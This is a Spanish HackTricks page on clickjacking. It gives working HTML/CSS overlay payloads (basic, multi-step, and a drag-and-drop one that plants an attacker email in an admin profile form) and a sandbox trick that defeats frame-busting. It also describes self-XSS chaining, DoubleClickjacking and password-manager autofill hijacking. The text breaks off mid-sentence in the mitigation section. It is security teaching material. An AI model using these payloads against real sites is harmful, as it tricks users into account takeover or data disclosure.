Clickjacking

Reading time: 9 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es Clickjacking

En un ataque de clickjacking, un/a usuario es engañado para hacer clic en un elemento de una página web que es invisible o está disfrazado como otro elemento. Esta manipulación puede provocar consecuencias no deseadas para el usuario, como la descarga de malware, la redirección a páginas web maliciosas, la entrega de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.

Truco de prellenado de formularios

A veces es posible rellenar el valor de los campos de un formulario usando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para completar un formulario con datos arbitrarios y enviar el payload de clickjacking para que el usuario pulse el botón Enviar.

Populate form with Drag&Drop

Si necesitas que el usuario complete un formulario pero no quieres pedirle directamente que escriba información específica (como el email o una contraseña concreta que conoces), puedes simplemente pedirle que Drag&Drop algo que escribirá tus datos controlados, como en este ejemplo.

Basic Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload en varios pasos

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si has identificado un XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable a clickjacking, podrías abusar de ello para engañar al usuario y que haga clic en el botón/enlace.
Ejemplo:
Has encontrado un self XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes configurar y leer). La página con el form para establecer esos detalles es vulnerable a Clickjacking y puedes prepopulate el form con los GET parameters.
Un atacante podría preparar un ataque de Clickjacking contra esa página prepopulating el form con el XSS payload y engañando al usuario para que envíe el formulario. Así, cuando se envíe el formulario y los valores se modifiquen, el usuario ejecutará el XSS.

DoubleClickjacking

Firstly explained in this post, esta técnica pediría a la víctima que haga doble clic en un botón de una página personalizada colocada en una ubicación específica, y usaría las diferencias de tiempo entre los eventos mousedown y onclick para cargar la página de la víctima durante el doble clic de modo que la víctima realmente haga clic en un botón legítimo en la página de la víctima.

Un ejemplo puede verse en este video: https://www.youtube.com/watch?v=4rGvRRMrD18

Un ejemplo de código puede encontrarse en this page.

warning

Esta técnica permite engañar al usuario para que haga clic en un único lugar de la página de la víctima sortando todas las protecciones contra clickjacking. Por eso el atacante debe encontrar acciones sensibles que se puedan realizar con un solo clic, como OAuth prompts accepting permissions.

Browser extensions: DOM-based autofill clickjacking

Además de iframing las páginas de la víctima, los atacantes pueden apuntar a elementos de la UI de las browser extensions que se inyectan en la página. Password managers renderizan autofill dropdowns cerca de los inputs enfocados; al enfocar un campo controlado por el atacante y ocultar/ocludir el dropdown de la extensión (trucos de opacity/overlay/top-layer), un clic forzado del usuario puede seleccionar un elemento almacenado y rellenar datos sensibles en inputs controlados por el atacante. Esta variante no requiere exposición mediante iframe y funciona completamente vía DOM/CSS manipulation.

  • For concrete techniques and PoCs see:

BrowExt - ClickJacking

Strategies to Mitigate Clickjacking

Client-Side Defenses

Los scripts ejecutados en el cliente pueden realizar acciones para prevenir Clickjacking:

  • Asegurarse de que la ventana de la aplicación es la ventana principal o top window.
  • Hacer visibles todos los frames.
  • Prevenir clics en frames invisibles.
  • Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.

Sin embargo, estos frame-busting scripts pueden ser eludidos:

  • Browsers' Security Settings: Algunos navegadores podrían bloquear estos scripts según sus ajustes de seguridad o por la falta de soporte de JavaScript.
  • HTML5 iframe sandbox Attribute: Un atacante puede neutralizar los frame buster scripts estableciendo el atributo sandbox con los valores allow-forms o allow-scripts sin allow-top-navigation. Esto impide que el iframe verifique si es la top window, por ejemplo,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Los valores allow-forms y allow-scripts permiten acciones dentro del iframe mientras deshabilitan la navegación a nivel superior. Para asegurar la funcionalidad prevista del sitio objetivo, podrían ser necesarios permisos adicionales como allow-same-origin y allow-modals, dependiendo del tipo de ataque. Los mensajes de la consola del navegador pueden indicar qué permisos permitir.

Server-Side Defenses

X-Frame-Options

La X-Frame-Options HTTP response header informa a los navegadores sobre la legitimidad de renderizar una página en un o